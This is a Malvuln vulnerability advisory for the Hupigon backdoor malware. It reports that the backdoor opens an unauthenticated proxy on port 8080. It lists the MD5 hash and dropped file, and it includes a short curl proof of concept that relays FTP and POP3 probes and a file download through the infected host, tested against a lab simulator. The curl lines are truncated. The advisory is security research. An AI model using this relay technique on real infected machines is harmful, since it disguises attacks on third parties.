Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Hupigon.aaur  
Vulnerability: Unauthenticated Open Proxy  
Description: The malware listens on TCP port 8080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.  
Type: PE32  
MD5: 16d598c01f7b391986c8c19eded005b1  
Vuln ID: MVID-2021-0301  
Dropped files: 360bak.exe  
Disclosure: 07/26/2021  
Scan port 21)  
curl -H "Host:"  
220 INetSim FTP Service ready.  
500 Unknown command.  
500 Unknown command.  
Scan port 110)  
curl -H "Host:"  
+OK INetSim POP3 Server ready <16964.1627101707@pop3host>  
-ERR Unknown command.  
-ERR Unknown command.  
Download filez)  
curl -H "Host:" --out DOOM.exe  
% Total % Received % Xferd Average Speed Time Time Time Current  
Dload Upload Total Spent Left Speed  
100 101k 100 101k 0 0 101k 0 0:00:01 --:--:-- 0:00:01 1604k  
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